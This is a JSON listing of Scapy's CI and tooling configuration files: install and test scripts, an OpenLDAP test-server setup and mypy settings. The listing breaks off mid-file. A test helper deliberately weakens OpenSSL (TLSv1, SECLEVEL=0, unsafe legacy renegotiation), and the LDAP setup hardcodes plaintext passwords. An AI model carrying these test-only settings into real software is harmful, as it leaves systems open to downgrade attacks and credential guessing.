[
  {
    "path": ".config/ci/install.ps1",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# Install packages needed for the CI on Windows\n\n# Install npcap and windump\n& \"$PSScriptRoot\\windows\\InstallNpcap.ps1\"\n& \"$PSScriptRoot\\windows\\InstallWindumpNpcap.ps1\"\n\n# Install wireshark\nchoco install -y wireshark\n\n# Add to PATH\necho \"C:\\Program Files\\Wireshark;C:\\Program Files\\Windump\" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append\n\n# Update pip & setuptools & wheel (tox uses those)\npython -m pip install --upgrade pip setuptools wheel --ignore-installed\n\n# Make sure tox is installed and up to date\npython -m pip install -U tox --ignore-installed\n"
  },
  {
    "path": ".config/ci/install.sh",
    "content": "#!/bin/bash\n\n# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# Install packages needed for the CI on Linux/MacOS\n# Usage:\n# ./install.sh [install mode]\n\n# Detect install mode\nif [[ \"${1}\" == \"libpcap\" ]]\nthen\n    SCAPY_USE_LIBPCAP=\"yes\"\n    if [[ ! -z \"$GITHUB_ACTIONS\" ]]\n    then\n      echo \"SCAPY_USE_LIBPCAP=yes\" >> $GITHUB_ENV\n    fi\nfi\n\n# Install on osx\nif [ \"${OSTYPE:0:6}\" = \"darwin\" ]\nthen\n  if [ ! -z $SCAPY_USE_LIBPCAP ]\n  then\n    brew update\n    brew install libpcap\n  fi\nfi\n\nCUR=$( cd \"$(dirname \"${BASH_SOURCE[0]}\")\" ; pwd -P )\n\n# Install wireshark data, ifconfig, vcan, samba, openldap\nif [ \"$OSTYPE\" = \"linux-gnu\" ]\nthen\n  sudo apt-get update\n  sudo apt-get -qy install tshark net-tools || exit 1\n  sudo apt-get -qy install can-utils || exit 1\n  sudo apt-get -qy install linux-modules-extra-$(uname -r) || exit 1\n  sudo apt-get -qy install samba smbclient\n  sudo bash $CUR/openldap/install.sh\n  # Make sure libpcap is installed\n  if [ ! -z $SCAPY_USE_LIBPCAP ]\n  then\n    sudo apt-get -qy install libpcap-dev  || exit 1\n  fi\nfi\n\n# Update pip & setuptools (tox uses those)\npython -m pip install --upgrade pip setuptools wheel --ignore-installed\n\n# Make sure tox is installed and up to date\npython -m pip install -U tox --ignore-installed\n\n# Dump Environment (so that we can check PATH, UT_FLAGS, etc.)\nset\n"
  },
  {
    "path": ".config/ci/openldap/config.ldif",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n\n# Contains the configuration of our OpenLDAP test server\n\n# Configure LDAPS\ndn: cn=config\nchangetype: modify\nadd: olcTLSCACertificateFile\nolcTLSCACertificateFile: {{CAFILE}}\n\ndn: cn=config\nchangetype: modify\nreplace: olcTLSCertificateKeyFile\nolcTLSCertificateKeyFile: {{KEYFILE}}\n\ndn: cn=config\nchangetype: modify\nreplace: olcTLSCertificateFile\nolcTLSCertificateFile: {{CRTFILE}}\n\ndn: cn=config\nchangetype: modify\nadd: olcTLSVerifyClient\nolcTLSVerifyClient: never\n\n# Set channel bindings to 'tls-endpoint', like it would be on Windows\ndn: cn=config\nchangetype: modify\nreplace: olcSaslCbinding\nolcSaslCbinding: tls-endpoint\n"
  },
  {
    "path": ".config/ci/openldap/install.sh",
    "content": "#!/bin/bash\n\n# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# Install an OpenLDAP test server\n\n# Pre-populate some setup questions\nsudo debconf-set-selections <<< 'slapd slapd/password2 password Bonjour1'\nsudo debconf-set-selections <<< 'slapd slapd/password1 password Bonjour1'\nsudo debconf-set-selections <<< 'slapd slapd/domain string scapy.net'\n\n# Run setup\nsudo apt-get -qy install slapd\n\n# Enable LDAPs\necho \"Enabling HTTPS on slapd...\"\nsudo sed -i '/^SLAPD_SERVICES/ c\\SLAPD_SERVICES=\"ldap:/// ldapi:/// ldaps://\"' /etc/default/slapd\nsudo systemctl restart slapd\n\n# Calculate the paths we're going to need.\nCUR=$( cd \"$(dirname \"${BASH_SOURCE[0]}\")\" ; pwd -P )\nPKIPATH=$(realpath \"$CUR/../../../test/scapy/layers/tls/pki\")\nOLDAPPATH=$(mktemp -d -t scapy_openldap_XXXX)\n\n# Copy certificates to temp path\ncp ${PKIPATH}/ca_cert.pem ${OLDAPPATH}\ncp ${PKIPATH}/srv_cert.pem ${OLDAPPATH}\ncp ${PKIPATH}/srv_key.pem ${OLDAPPATH}\nchmod a+rx -R ${OLDAPPATH}\n\n# Copy config template and replace variables.\necho \"Creating OpenLDAP config...\"\nopenldap_conf=${OLDAPPATH}/openldap_config.ldif\ncp $CUR/config.ldif $openldap_conf\nsed -i \"s@{{CAFILE}}@${OLDAPPATH}/ca_cert.pem@g\" $openldap_conf\nsed -i \"s@{{CRTFILE}}@${OLDAPPATH}/srv_cert.pem@g\" $openldap_conf\nsed -i \"s@{{KEYFILE}}@${OLDAPPATH}/srv_key.pem@g\" $openldap_conf\n\necho \"Applying OpenLDAP config...\"\nsudo ldapmodify -Y EXTERNAL -H \"ldapi:///\" -w Bonjour1 -f $openldap_conf -c\necho \"Adding initial dummy data...\"\nsudo ldapadd    -D \"cn=admin,dc=scapy,dc=net\" -w Bonjour1 -H \"ldapi:///\" -f $CUR/testdata.ldif -c\n"
  },
  {
    "path": ".config/ci/openldap/testdata.ldif",
    "content": "# SPDX-License-Identifier: OLDAP-2.8\n# This file is based on https://git.openldap.org/openldap/openldap/-/blob/master/tests/data/ppolicy.ldif?ref_type=heads\n# (renamed to dc=scapy, dc=net)\n\ndn: dc=scapy, dc=net\nobjectClass: top\nobjectClass: organization\nobjectClass: dcObject\no: Scapy\ndc: scapy\n\ndn: ou=People, dc=scapy, dc=net\nobjectClass: top\nobjectClass: organizationalUnit\nou: People\n\ndn: ou=Groups, dc=scapy, dc=net\nobjectClass: organizationalUnit\nou: Groups\n\ndn: cn=Policy Group, ou=Groups, dc=scapy, dc=net\nobjectClass: groupOfNames\ncn: Policy Group\nmember: uid=nd, ou=People, dc=scapy, dc=net\nowner: uid=ndadmin, ou=People, dc=scapy, dc=net\n\ndn: cn=Test Group, ou=Groups, dc=scapy, dc=net\nobjectClass: groupOfNames\ncn: Policy Group\nmember: uid=another, ou=People, dc=scapy, dc=net\n\ndn: ou=Policies, dc=scapy, dc=net\nobjectClass: top\nobjectClass: organizationalUnit\nou: Policies\n\ndn: uid=nd, ou=People, dc=scapy, dc=net\nobjectClass: top\nobjectClass: person\nobjectClass: inetOrgPerson\ncn: Neil Dunbar\nuid: nd\nsn: Dunbar\ngivenName: Neil\nuserPassword: testpassword\n\ndn: uid=ndadmin, ou=People, dc=scapy, dc=net\nobjectClass: top\nobjectClass: person\nobjectClass: inetOrgPerson\ncn: Neil Dunbar (Admin)\nuid: ndadmin\nsn: Dunbar\ngivenName: Neil\nuserPassword: testpw\n\ndn: uid=another, ou=People, dc=scapy, dc=net\nobjectClass: top\nobjectClass: person\nobjectClass: inetOrgPerson\ncn: Another Test\nuid: another\nsn: Test\ngivenName:  Another\nuserPassword: testing\n\n"
  },
  {
    "path": ".config/ci/openssl.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter\n\n\"\"\"\nCreate a duplicate of the OpenSSL config to be able to use TLS < 1.2\nThis returns the path to this new config file.\n\"\"\"\n\nimport os\nimport re\nimport subprocess\nimport tempfile\n\n# Get OpenSSL config file\nOPENSSL_DIR = re.search(\n    b\"OPENSSLDIR: \\\"(.*)\\\"\",\n    subprocess.Popen(\n        [\"openssl\", \"version\", \"-d\"],\n        stdout=subprocess.PIPE\n    ).communicate()[0]\n).group(1).decode()\nOPENSSL_CONFIG = os.path.join(OPENSSL_DIR, 'openssl.cnf')\n\n# https://www.openssl.org/docs/manmaster/man5/config.html\nDATA = b\"\"\"\nopenssl_conf = openssl_init\n\n[openssl_init]\nssl_conf = ssl_configuration\n\n[ssl_configuration]\nsystem_default = tls_system_default\n\n[tls_system_default]\nMinProtocol = TLSv1\nCipherString = DEFAULT:@SECLEVEL=0\nOptions = UnsafeLegacyRenegotiation\n\"\"\".strip()\n\n# Copy and edit\nwith tempfile.NamedTemporaryFile(suffix=\".cnf\", delete=False) as fd:\n    fd.write(DATA)\n    print(fd.name)\n"
  },
  {
    "path": ".config/ci/test.ps1",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# test.ps1\n# Usage:\n#   ./test.ps1 <python version>\n# Examples:\n#   ./test.sh 3.13\n\nif ($args.Count -eq 0) {\n    Write-Host \"Usage: .\\test.ps1 <pythonversion>\"\n    exit\n}\n\n# Set TOXENV\n$PY_VERSION = \"py\" + ($args[0] -replace '\\.', '')\n$env:TOXENV = $PY_VERSION + \"-windows-root\"\n\nif ($env:GITHUB_ACTIONS) {\n    # Due to a security policy, the firewall of the Azure runner\n    # (Standard_DS2_v2) that runs Github Actions on Linux blocks ICMP.\n    $env:UT_FLAGS += \" -K icmp_firewall\"\n}\n\n# Launch Scapy unit tests\npython -m tox -- @($env:UT_FLAGS.Trim() -split ' ')\n"
  },
  {
    "path": ".config/ci/test.sh",
    "content": "#!/bin/bash\n\n# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# test.sh\n# Usage:\n#   ./test.sh [python version] [both/root/non_root (default root)]\n# Examples:\n#   ./test.sh 3.7 both\n#   ./test.sh 3.9 non_root\n\nif [ \"$OSTYPE\" = \"linux-gnu\" ]\nthen\n  # Linux\n  OSTOX=\"linux\"\n  UT_FLAGS+=\" -K tshark\"\n  if [ -z \"$SIMPLE_TESTS\" ]\n  then\n    # check vcan\n    sudo modprobe -n -v vcan\n    if [[ $? -ne 0 ]]\n    then\n      # The vcan module is currently unavailable on xenial builds\n      UT_FLAGS+=\" -K vcan_socket\"\n    fi\n  else\n    UT_FLAGS+=\" -K vcan_socket\"\n  fi\nelif [[ \"$OSTYPE\" = \"darwin\"* ]] || [[ \"$OSTYPE\" = \"FreeBSD\" ]] || [[ \"$OSTYPE\" = *\"bsd\"* ]]\nthen\n  OSTOX=\"bsd\"\n  # Travis CI in macOS 10.13+ can't load kexts. Need this for tuntaposx.\n  UT_FLAGS+=\" -K tun -K tap\"\n  if [[ \"$OSTYPE\" = \"openbsd\"* ]]\n  then\n    # Note: LibreSSL 3.6.* does not support X25519 according to\n    # the cryptogaphy module source code\n    UT_FLAGS+=\" -K libressl\"\n  fi\nfi\n\nif [ ! -z \"$GITHUB_ACTIONS\" ]\nthen\n  # Due to a security policy, the firewall of the Azure runner\n  # (Standard_DS2_v2) that runs Github Actions on Linux blocks ICMP.\n  UT_FLAGS+=\" -K icmp_firewall\"\nfi\n\n# pypy\nif python --version 2>&1 | grep -q PyPy\nthen\n  UT_FLAGS+=\" -K not_pypy\"\n  # Code coverage with PyPy makes it very, very slow. Tests work\n  # but take around 30minutes, so we disable it.\n  export DISABLE_COVERAGE=\" \"\nfi\n\n# macos -k scanner has glitchy coverage. skip it\nif [ \"$OSTOX\" = \"bsd\" ] && [[ \"$UT_FLAGS\" = *\"-k scanner\"* ]]; then\n  export DISABLE_COVERAGE=\" \"\nfi\n\n# libpcap\nif [[ ! -z \"$SCAPY_USE_LIBPCAP\" ]]; then\n  UT_FLAGS+=\" -K veth\"\nfi\n\n# Create version tag (github actions)\nPY_VERSION=\"py${1//./}\"\nPY_VERSION=${PY_VERSION/pypypy/pypy}\nTESTVER=\"$PY_VERSION-$OSTOX\"\n\n# Chose whether to run root or non_root\nSCAPY_TOX_CHOSEN=${2}\nif [ \"${SCAPY_TOX_CHOSEN}\" == \"\" ]\nthen\n  case ${PY_VERSION} in\n    py27|py38)\n      SCAPY_TOX_CHOSEN=\"both\"\n      ;;\n    *)\n      SCAPY_TOX_CHOSEN=\"root\"\n  esac\nfi\n\nif [ -z $TOXENV ]\nthen\n  case ${SCAPY_TOX_CHOSEN} in\n    both)\n      export TOXENV=\"${TESTVER}-non_root,${TESTVER}-root\"\n      ;;\n    root)\n      export TOXENV=\"${TESTVER}-root\"\n      ;;\n    *)\n      export TOXENV=\"${TESTVER}-non_root\"\n      ;;\n  esac\nfi\n\n# Configure OpenSSL\nexport OPENSSL_CONF=$(${PYTHON:=python} `dirname $BASH_SOURCE`/openssl.py)\n\n# Dump vars (environment is already entirely dumped in install.sh)\necho OSTOX=$OSTOX\necho UT_FLAGS=$UT_FLAGS\necho TOXENV=$TOXENV\necho OPENSSL_CONF=$OPENSSL_CONF\necho OPENSSL_VER=$(openssl version)\necho COVERAGE=$([ -z \"$DISABLE_COVERAGE\" ] && echo \"enabled\" || echo \"disabled\")\n\nif [ \"$OSTYPE\" = \"linux-gnu\" ]\nthen\n  echo SMBCLIENT=$(smbclient -V)\nfi\n\n# Launch Scapy unit tests\n# export TOX_PARALLEL_NO_SPINNER=1\ntox -- ${UT_FLAGS} || exit 1\n\n# Stop if NO_BASH_TESTS is set\nif [ ! -z \"$SIMPLE_TESTS\" ]\nthen\n  exit $?\nfi\n\n# Start Scapy in interactive mode\nTEMPFILE=$(mktemp)\ncat <<EOF > \"${TEMPFILE}\"\nprint(\"Scapy on %s\" % sys.version)\nsys.exit()\nEOF\necho \"DEBUG: TEMPFILE=${TEMPFILE}\"\n./run_scapy -H -c \"${TEMPFILE}\" || exit 1\n"
  },
  {
    "path": ".config/ci/windows/InstallNpcap.ps1",
    "content": "# Install Npcap on the machine.\n\n# Config:\n$npcap_oem_file = \"npcap-1.60-oem.exe\"\n$npcap_oem_hash = \"91e076eb9a197d55ca5e05b240e8049cd97ced3455eb7e7cb0f06066b423eb77\"\n\n# Note: because we need the /S option (silent), this script has two cases:\n#  - The script is runned from a master build, then use the secure variable 'npcap_oem_key' which will be available\n#    to decode the very recent npcap install oem file and use it\n#  - The script is runned from a PR, then use the provided archived 0.96 version, which is the last public one to\n#    provide support for the /S option\n\nfunction checkTheSum($file, $hash) {\n    $_chksum = $(CertUtil -hashfile $file SHA256)[1] -replace \" \",\"\"\n    if ($_chksum -ne $hash){\n        Write-Error \"Checksums do NOT match !\"\n        return 1, $file\n    }\n    return 0, $file\n}\n\nfunction DownloadNPCAP_free {\n    $file = $PSScriptRoot+\"\\npcap-0.96.exe\"\n    $hash = \"83667e1306fdcf7f9967c10277b36b87e50ee8812e1ee2bb9443bdd065dc04a1\"\n    # Download the 0.96 file from a copy :/ It was taken down from official servers.\n    Invoke-WebRequest \"https://github.com/secdev/secdev.github.io/raw/refs/heads/master/public/ci/npcap-0.96.exe\" -UseBasicParsing -OutFile $file\n    return checkTheSum $file $hash\n}\n\nfunction DownloadNPCAP_oem {\n    # Unpack the key\n    $user, $pass = (Get-ChildItem Env:npcap_oem_key).Value.replace(\"`\"\", \"\").split(\",\")\n    if(!$user -Or !$pass){\n        Throw (New-Object System.Exception)\n    }\n    $file = $PSScriptRoot+\"\\\"+$npcap_oem_file\n    # Download oem file using (super) secret credentials\n    $pair = \"${user}:${pass}\"\n    $encodedCreds = [System.Convert]::ToBase64String([System.Text.Encoding]::ASCII.GetBytes($pair))\n    $basicAuthValue = \"Basic $encodedCreds\"\n    $headers = @{ Authorization = $basicAuthValue }\n    $secpasswd = ConvertTo-SecureString $pass -AsPlainText -Force\n    $credential = New-Object System.Management.Automation.PSCredential($user, $secpasswd)\n    try {\n        Invoke-WebRequest -uri (-join(\"https://npcap.com/oem/dist/\",$npcap_oem_file)) -OutFile $file -Headers $headers -Credential $credential\n    } catch [System.Net.WebException],[System.IO.IOException] {\n        Write-Error \"Error while dowloading npcap oem!\"\n        Write-Warning $Error[0]\n        return 1, $file\n    }\n    return checkTheSum $file $npcap_oem_hash\n}\n\nif (Test-Path Env:npcap_oem_key){  # Key is here: on master\n    $success, $file = DownloadNPCAP_oem\n    if ($success -ne 0){\n        $success, $file = DownloadNPCAP_free\n    }\n} else {  # No key: PRs\n    $success, $file = DownloadNPCAP_free\n}\n\nif ($success -ne 0){\n    Write-Error ('Npcap installation of '+$file+' arborted !')\n    exit 1\n}\n\nWrite-Output ('Installing: ' + $file)\n\n# Run installer\n$process = Start-Process $file -ArgumentList \"/loopback_support=yes /winpcap_mode=no /S\" -PassThru -Wait\nif($process.ExitCode -eq 0) {\n    echo \"Npcap installation completed !\"\n    exit 0\n} else {\n    Write-Error \"Npcap installation failed !\"\n    exit 1\n}\n"
  },
  {
    "path": ".config/ci/windows/InstallWindumpNpcap.ps1",
    "content": "# Config\n$urlPath = \"https://github.com/hsluoyz/WinDump/releases/download/v0.3/WinDump-for-Npcap-0.3.zip\"\n$checksum = \"4253cbc494416c4917920e1f2424cdf039af8bc39f839a47aa4337bd28f4eb7e\"\n\n############\n############\n# Download the file\nInvoke-WebRequest $urlPath -UseBasicParsing -OutFile $PSScriptRoot\"\\npcap.zip\"\nAdd-Type -AssemblyName System.IO.Compression.FileSystem\nfunction Unzip\n{\n    param([string]$zipfile, [string]$outpath)\n\n    [System.IO.Compression.ZipFile]::ExtractToDirectory($zipfile, $outpath)\n}\nUnzip $PSScriptRoot\"\\npcap.zip\" $PSScriptRoot\"\\npcap\"\nRemove-Item $PSScriptRoot\"\\npcap.zip\"\n# Now let's check its checksum\n$_chksum = $(CertUtil -hashfile $PSScriptRoot\"\\npcap\\x64\\WinDump.exe\" SHA256)[1] -replace \" \",\"\"\nif ($_chksum -ne $checksum){\n    echo \"Checksums does NOT match !\"\n    exit\n} else {\n    echo \"Checksums matches !\"\n}\n# Finally, move it and remove tmp files\nNew-Item -Path \"C:\\Program Files\\Windump\" -ItemType directory\nMove-Item -Force $PSScriptRoot\"\\npcap\\x64\\WinDump.exe\" \"C:\\Program Files\\Windump\\windump.exe\"\nRemove-Item $PSScriptRoot\"\\npcap\" -recurse\n"
  },
  {
    "path": ".config/ci/zipapp.sh",
    "content": "#!/bin/bash\n\n# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n\n# Build a zipapp for Scapy\n\nDIR=$(realpath \"$(dirname \"$0\")/../../\")\ncd $DIR\n\nif [ ! -e \"pyproject.toml\" ]; then\n    echo \"zipapp.sh was not able to find scapy's root folder\"\n    exit 1\nfi\n\nMODE=\"$1\"\nif [ -z \"$MODE\" ] || ( [ \"$MODE\" != \"full\" ] && [ \"$MODE\" != \"simple\" ] ); then\n    echo \"Usage: zipapp.sh <simple/full>\"\n    exit 1\nfi\n\nif [ -z \"$PYTHON\" ]\nthen\n  PYTHON=${PYTHON:-python3}\nfi\n\n# Get Scapy version\nSCPY_VERSION=$(python3 -c \"print(__import__('scapy').__version__)\")\n\n# Get temp directory\nTMPFLD=\"$(mktemp -d)\"\nif [ -z \"$TMPFLD\" ] || [ ! -d \"$TMPFLD\" ]; then\n    echo \"Error: 'mktemp -d' failed\"\n    exit 1\nfi\nARCH=\"$TMPFLD/archive\"\nSCPY=\"$TMPFLD/scapy\"\nmkdir \"$ARCH\"\nmkdir \"$SCPY\"\n\n# Create git archive\necho \"> Creating git archive...\"\ngit archive HEAD -o \"$ARCH/scapy.tar.gz\"\n\n# Unpack the archive to a temporary directory\nif [ ! -e \"$ARCH/scapy.tar.gz\" ]; then\n    echo \"ERROR: git archive failed\"\n    exit 1\nfi\necho \"> Unpacking...\"\ntar -xf \"$ARCH/scapy.tar.gz\" -C \"$SCPY\"\n\n# Remove unnecessary files\necho \"> Stripping down...\"\ncd \"$SCPY\" && find . -not \\( \\\n    -wholename \"./scapy*\" -o \\\n    -wholename \"./pyproject.toml\" -o \\\n    -wholename \"./doc/scapy.1\" -o \\\n    -wholename \"./setup.py\" -o \\\n    -wholename \"./README.md\" -o \\\n    -wholename \"./LICENSE\" \\\n\\) -delete\ncd $DIR\n\n# Depending on the mode, install dependencies and get DEST file\nif [ \"$MODE\" == \"full\" ]; then\n    echo \"> Bundling dependencies...\"\n    $PYTHON -m pip install --quiet --target \"$SCPY\" IPython\n    DEST=\"./dist/scapy-full-$SCPY_VERSION.pyz\"\nelse\n    DEST=\"./dist/scapy-$SCPY_VERSION.pyz\"\nfi\n\nif [ ! -d \"./dist\" ]; then\n    mkdir dist\nfi\n\n# Copy version\necho \"$SCPY_VERSION\" > \"./dist/version\"\n\n# Build the zipapp\necho \"> Building zipapp...\"\n$PYTHON -m zipapp \\\n    -o \"$DEST\" \\\n    -p \"/usr/bin/env python3\" \\\n    -m \"scapy.main:interact\" \\\n    -c \\\n    \"$SCPY\"\n\n# Cleanup\nrm -rf \"$TMPFLD\"\n\necho \"Success. zipapp avaiable at $DEST\"\nstat $DEST | head -n 2\n"
  },
  {
    "path": ".config/codespell_ignore.txt",
    "content": "abd\naci\nans\napplikation\narchtypes\nba\nbrowseable\nbyteorder\ncace\ncas\nciph\ncomponet\ncomversion\ncros\ndelt\ndoas\ndoubleclick\nether\neventtypes\nfo\nfunktion\ngost\nhart\niff\nimplementors\ninout\ninteraktive\njoinin\nmerchantibility\nmicrosof\nmitre\nnd\nnegociate\noptiona\not\npotatoe\nreferer\nrequestor\nro\nser\nsingl\nslac\nsynching\nte\ntemporaere\ntim\nue\nuint\nvas\nwan\nwanna\nwebp\nwidgits\n"
  },
  {
    "path": ".config/mypy/mypy.ini",
    "content": "[mypy]\n\n# Internal Scapy modules that we ignore\n\n[mypy-scapy.libs.winpcapy]\nignore_errors = True\nignore_missing_imports = True\n\n[mypy-scapy.libs.rfc3961]\nwarn_return_any = False\n\n# Layers specific config\n\n[mypy-scapy.arch.*]\nimplicit_reexport = True\n\n[mypy-scapy.layers.*,scapy.contrib.*]\nwarn_return_any = False\n\n# External libraries that we ignore\n\n[mypy-IPython]\nignore_missing_imports = True\n\n[mypy-colorama]\nignore_missing_imports = True\n\n[mypy-traitlets.config.loader]\nignore_missing_imports = True\n\n[mypy-pyx]\nignore_missing_imports = True\n\n[mypy-matplotlib.lines]\nignore_missing_imports = True\n\n[mypy-prompt_toolkit.*]\nignore_missing_imports = True\n"
  },
  {
    "path": ".config/mypy/mypy_check.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nPerforms Static typing checks over Scapy's codebase\n\"\"\"\n\n# IMPORTANT NOTE\n#\n# Because we are rolling out mypy tests progressively,\n# we currently use --follow-imports=skip. This means that\n# mypy doesn't check consistency between the imports (different files).\n#\n# Once each file has been processed individually, we'll remove that to\n# check the inconsistencies across the files\n\nimport io\nimport os\nimport sys\n\nfrom mypy.main import main as mypy_main\n\n# Check platform arg\n\nPLATFORM = None\n\nif len(sys.argv) >= 2:\n    if len(sys.argv) > 2:\n        print(\"Usage: mypy_check.py [platform]\")\n        sys.exit(1)\n    PLATFORM = sys.argv[1]\n\n# Load files\n\nlocaldir = os.path.split(__file__)[0]\n\nwith io.open(os.path.join(localdir, \"mypy_enabled.txt\")) as fd:\n    FILES = [l.strip() for l in fd.readlines() if l.strip() and l[0] != \"#\"]\n\nif not FILES:\n    print(\"No files specified. Arborting\")\n    sys.exit(1)\n\n# Generate mypy arguments\n\nARGS = [\n    # strictness: same as --strict minus --disallow-subclassing-any\n    \"--warn-unused-configs\",\n    \"--disallow-any-generics\",\n    \"--disallow-untyped-calls\",\n    \"--disallow-untyped-defs\",\n    \"--disallow-incomplete-defs\",\n    \"--check-untyped-defs\",\n    \"--disallow-untyped-decorators\",\n    \"--no-implicit-optional\",\n    \"--warn-redundant-casts\",\n    \"--warn-unused-ignores\",\n    \"--warn-return-any\",\n    \"--no-implicit-reexport\",\n    \"--strict-equality\",\n    \"--ignore-missing-imports\",\n    # config\n    \"--follow-imports=skip\",  # Remove eventually\n    \"--config-file=\" + os.path.abspath(os.path.join(localdir, \"mypy.ini\")),\n    \"--show-traceback\",\n] + ([\"--platform=\" + PLATFORM] if PLATFORM else [])\n\nif PLATFORM.startswith(\"linux\"):\n    ARGS.extend(\n        [\n            \"--always-true=LINUX\",\n            \"--always-false=OPENBSD\",\n            \"--always-false=FREEBSD\",\n            \"--always-false=NETBSD\",\n            \"--always-false=DARWIN\",\n            \"--always-false=WINDOWS\",\n            \"--always-false=BSD\",\n        ]\n    )\n    FILES = [x for x in FILES if not x.startswith(\"scapy/arch/windows\")]\nelif PLATFORM.startswith(\"win32\"):\n    ARGS.extend(\n        [\n            \"--always-false=LINUX\",\n            \"--always-false=OPENBSD\",\n            \"--always-false=FREEBSD\",\n            \"--always-false=NETBSD\",\n            \"--always-false=DARWIN\",\n            \"--always-true=WINDOWS\",\n            \"--always-false=WINDOWS_XP\",\n            \"--always-false=BSD\",\n        ]\n    )\n    FILES = [\n        x\n        for x in FILES\n        if (\n            x\n            not in {\n                # Disabled on Windows\n                \"scapy/arch/unix.py\",\n                \"scapy/arch/solaris.py\",\n                \"scapy/contrib/cansocket_native.py\",\n                \"scapy/contrib/isotp/isotp_native_socket.py\",\n            }\n        )\n        and not x.startswith(\"scapy/arch/bpf\")\n        and not x.startswith(\"scapy/arch/linux\")\n    ]\nelse:\n    raise ValueError(\"Unknown platform\")\n\n# Run mypy over the files\nARGS += [os.path.abspath(f) for f in FILES]\n\nmypy_main(args=ARGS)\n"
  },
  {
    "path": ".config/mypy/mypy_deployment_stats.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Gabriel Potter <gabriel[]potter[]fr>\n\n\"\"\"\nGenerate MyPy deployment stats\n\"\"\"\n\nimport os\nimport io\nimport glob\nfrom collections import defaultdict\n\n# Parse config file\n\nlocaldir = os.path.split(__file__)[0]\nrootpath = os.path.abspath(os.path.join(localdir, '../../'))\n\nwith io.open(os.path.join(localdir, \"mypy_enabled.txt\")) as fd:\n    FILES = [l.strip() for l in fd.readlines() if l.strip() and l[0] != \"#\"]\n\n# Scan Scapy\n\nALL_FILES = [\n     \"\".join(x.partition(\"scapy/\")[2:]) for x in\n     glob.iglob(os.path.join(rootpath, 'scapy/**/*.py'), recursive=True)\n]\n\n# Process\n\nREMAINING = defaultdict(list)\nMODULES = defaultdict(lambda: (0, 0, 0, 0))\n\nfor f in ALL_FILES:\n    with open(os.path.join(rootpath, f)) as fd:\n        lines = len(fd.read().split(\"\\n\"))\n    parts = f.split(\"/\")\n    if len(parts) > 2:\n        mod = parts[1]\n    else:\n        mod = \"[core]\"\n    e, l, t, a = MODULES[mod]\n    if f in FILES:\n        e += lines\n        t += 1\n    else:\n        REMAINING[mod].append(f)\n    l += lines\n    a += 1\n    MODULES[mod] = (e, l, t, a)\n\nENABLED = sum(x[0] for x in MODULES.values())\nTOTAL = sum(x[1] for x in MODULES.values())\n\nprint(\"**MyPy Support: %.2f%%**\" % (ENABLED / TOTAL * 100))\nprint(\"| Module | Typed code (lines) | Typed files |\")\nprint(\"| --- | --- | --- |\")\nfor mod, dat in MODULES.items():\n    print(\"|`%s` | %.2f%% | %s/%s |\" % (mod, dat[0] / dat[1] * 100, dat[2], dat[3]))\n\nprint()\nCOREMODS = REMAINING[\"[core]\"]\nif COREMODS:\n    print(\"Core modules still untypes:\")\n    for mod in COREMODS:\n        print(\"- `%s`\" % mod)\n\n"
  },
  {
    "path": ".config/mypy/mypy_enabled.txt",
    "content": "# This file registers all files that have already been processed as part of\n# https://github.com/secdev/scapy/issues/2158, and therefore will be enforced\n# with unit tests in future development.\n\n# Style cheet: https://mypy.readthedocs.io/en/latest/cheat_sheet.html\n\n# CORE\nscapy/__init__.py\nscapy/__main__.py\nscapy/all.py\nscapy/ansmachine.py\nscapy/arch/__init__.py\nscapy/arch/bpf/__init__.py\nscapy/arch/bpf/consts.py\nscapy/arch/bpf/core.py\nscapy/arch/bpf/supersocket.py\nscapy/arch/common.py\nscapy/arch/libpcap.py\nscapy/arch/linux/__init__.py\nscapy/arch/linux/rtnetlink.py\nscapy/arch/solaris.py\nscapy/arch/unix.py\nscapy/arch/windows/__init__.py\nscapy/arch/windows/native.py\nscapy/arch/windows/structures.py\nscapy/as_resolvers.py\nscapy/asn1/__init__.py\nscapy/asn1/asn1.py\nscapy/asn1/ber.py\nscapy/asn1/mib.py\nscapy/asn1fields.py\nscapy/asn1packet.py\nscapy/automaton.py\nscapy/autorun.py\nscapy/base_classes.py\nscapy/compat.py\nscapy/config.py\nscapy/consts.py\nscapy/dadict.py\nscapy/data.py\nscapy/error.py\nscapy/fields.py\nscapy/interfaces.py\nscapy/main.py\nscapy/packet.py\nscapy/pipetool.py\nscapy/plist.py\nscapy/pton_ntop.py\nscapy/route.py\nscapy/route6.py\nscapy/scapypipes.py\nscapy/sendrecv.py\nscapy/sessions.py\nscapy/supersocket.py\nscapy/themes.py\nscapy/utils.py\nscapy/utils6.py\nscapy/volatile.py\n\n# LAYERS\nscapy/layers/can.py\nscapy/layers/l2.py\n\n# 